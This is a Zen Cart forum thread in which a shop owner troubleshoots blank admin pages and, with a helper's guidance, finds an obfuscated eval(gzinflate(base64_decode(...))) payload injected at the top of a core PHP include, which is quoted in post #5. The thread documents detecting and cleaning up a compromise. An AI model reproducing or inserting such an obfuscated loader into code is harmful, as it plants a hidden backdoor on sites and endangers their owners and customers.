If this is your first visit, check our documentation. To post, register or login.
Forums / Configuring the Zen Cart Admin / Basic Configuration / Very strange Admin login problems

Very strange Admin login problems

Started by lightup on 31 May 2013, 4:46 PM · Views: 3,248

Results 1 to 9 of 9
31 May 2013, 4:46 PM
#1
lightup avatar

lightup

New Zenner

Join Date:
Sep 2010
Posts:
59
Plugin Contributions:
0

Post #1 by lightup

Hi,

I am using zencart 1.5.1

I have just started experiencing an extremely strange problem while trying to login to my admin.

I have changed nothing on the server so cannot explain why this has started happening. I shall do my best to explain the problem...

When typing in the url for my typical admin log e.g. https://www.mydomain.com/myadmindirectory/
I am presented with a blank page. however when i add /login.php?camefrom=index.php to the end the login page loads and allows me to enter my details.

Upon loging in from this page the admin then shows a blank page until I then remove the "login.php?camefrom=index.php" from the end of the url at which point I am presented with the proper admin screen.

Does anyone have any idea what on earth is causing this?! I am completely lost!

Thanks for any help.

31 May 2013, 4:47 PM
#2
ajeh avatar

ajeh

Oba-san

Join Date:
Sep 2003
Location:
Ohio
Posts:
62,757
Plugin Contributions:
1

Post #2 by ajeh

What debug logs do you see in the /logs directory on this error?

Linda McGrath
If you have to think ... you haven't been zenned ...

**Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!**

Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today!]
Officially PayPal-Certified! Just click here

Try our Zen Cart Recommended Services - Hosting, Payment and more ...
Signup for our Announcements Forums to stay up to date on important changes and updates!

31 May 2013, 4:53 PM
#3
lightup avatar

lightup

New Zenner

Join Date:
Sep 2010
Posts:
59
Plugin Contributions:
0

Post #3 by lightup

Ajeh:

What debug logs do you see in the /logs directory on this error?

It looks like these are relevant:

[Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at public_html/includes/autoload_func.php:4) in public_html/myadmin/includes/functions/general.php on line 21, referer: http://www.mydomain.com/myadmin/

[Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/autoload_func.php:4) in /public_html/myadmin/includes/init_includes/init_templates.php on line 28, referer: http://www.mydomain.com/myadmin/

[Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/autoload_func.php:4) in /public_html/includes/functions/sessions.php on line 113, referer: http://www.,mydomain/myadmin/

[Fri May 31 17:49:33 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/autoload_func.php:4) in /public_html/myadmin/includes/init_includes/init_templates.php on line 28

[Fri May 31 17:49:33 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/autoload_func.php:4) in /public_html/includes/functions/sessions.php on line 113

31 May 2013, 5:18 PM
#4
ajeh avatar

ajeh

Oba-san

Join Date:
Sep 2003
Location:
Ohio
Posts:
62,757
Plugin Contributions:
1

Post #4 by ajeh

Check your file on the server for:
/public_html/includes/autoload_func.php

with a clean copy of this file and see if you have any differences ...

Have you made any changes to this file?

Linda McGrath
If you have to think ... you haven't been zenned ...

**Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!**

Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today!]
Officially PayPal-Certified! Just click here

Try our Zen Cart Recommended Services - Hosting, Payment and more ...
Signup for our Announcements Forums to stay up to date on important changes and updates!

31 May 2013, 5:27 PM
#5
lightup avatar

lightup

New Zenner

Join Date:
Sep 2010
Posts:
59
Plugin Contributions:
0

Post #5 by lightup

Ajeh:

Check your file on the server for:
/public_html/includes/autoload_func.php

with a clean copy of this file and see if you have any differences ...

Have you made any changes to this file?

Hi,

There was some very odd coding at the top of my file compared to original!!

"<?php eval(gzinflate(base64_decode('rVdbc6PKEX5WqvIfxirKgI0Bobtl7N06q5yzlex6I8v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sPwHWAfiov4/XZ5NcXrj3iEhN3o3ep1CKXrZ2AZbh68Csv3G/tkeGvOjhXQIhglsmYeW4BJeXkHYl6/pxAVXk+8kz827yc10+68nPY6c5qg2zRETykV8Mw22hJrM29BowDEa1U0fx1Pb7hOuMdF/fGodWqLQ6xk+BK31w+T8T+vx1fT+fXkszrbQO22A8FRiMKFqgOc2i8vO/uQu/SRl4xg4LlZGXkOL7oir97NkQqQ+gOz0zNhzjWdTseCWkVUQDFc9tLlrjiEliVEH2aeyy/ZNHr2UWdgiN5Y5eYjvNNv00bgPpReleV7auT/aqW######DhNk1NuMp1IZNfXjbrjd9U/UJtqaeqrep7rlJl/SblMenX/wE=')));?>"

I have since replaced this with the original file. however the admin is still having to be logged oddly :S

Is there any other files I should check? Could this have been inserted by a hacker?

31 May 2013, 5:35 PM
#6
ajeh avatar

ajeh

Oba-san

Join Date:
Sep 2003
Location:
Ohio
Posts:
62,757
Plugin Contributions:
1

Post #6 by ajeh

I would check and see if your site has been hacked in some manner ...
http://www.zen-cart.com/wiki/index.php/Recovering_From_Hacks

Was this a clean install of Zen Cart or an upgrade? And, if an upgrade, from what version?

Linda McGrath
If you have to think ... you haven't been zenned ...

**Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!**

Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today!]
Officially PayPal-Certified! Just click here

Try our Zen Cart Recommended Services - Hosting, Payment and more ...
Signup for our Announcements Forums to stay up to date on important changes and updates!

31 May 2013, 5:38 PM
#7
lightup avatar

lightup

New Zenner

Join Date:
Sep 2010
Posts:
59
Plugin Contributions:
0

Post #7 by lightup

I also just replaced all the other files in the error log with their original and still got the same problem:

New error log now reads:

[Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/classes/class.base.php:4) in /public_html/admin/includes/functions/general.php on line 21, referer: http://www.mydomain.com/admin/

[Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/classes/class.base.php:4) in /home/thetahea/public_html/admin/includes/init_includes/init_templates.php on line 28, referer:

[Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/classes/class.base.php:4) in
/public_html/includes/functions/sessions.php on line 113, referer:

[Fri May 31 18:34:52 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/thetahea/public_html/includes/classes/class.base.php:4) in /public_html/admin/includes/functions/general.php on line 21, referer:

31 May 2013, 5:41 PM
#8
ajeh avatar

ajeh

Oba-san

Join Date:
Sep 2003
Location:
Ohio
Posts:
62,757
Plugin Contributions:
1

Post #8 by ajeh

I would read over the recovery from hackers and compare all of your files to a clean copy of Zen Cart ...

Linda McGrath
If you have to think ... you haven't been zenned ...

**Did YOU buy the Zen Cart Team a cup of coffee and a donut today? Just click here to support the Zen Cart Team!!**

Are you using the latest? Perhaps you've a problem that's fixed in the latest version: [Upgrade today!]
Officially PayPal-Certified! Just click here

Try our Zen Cart Recommended Services - Hosting, Payment and more ...
Signup for our Announcements Forums to stay up to date on important changes and updates!

31 May 2013, 6:40 PM
#9
lightup avatar

lightup

New Zenner

Join Date:
Sep 2010
Posts:
59
Plugin Contributions:
0

Post #9 by lightup

Ajeh:

I would read over the recovery from hackers and compare all of your files to a clean copy of Zen Cart ...

Thank you, I shall look into this thoroughly.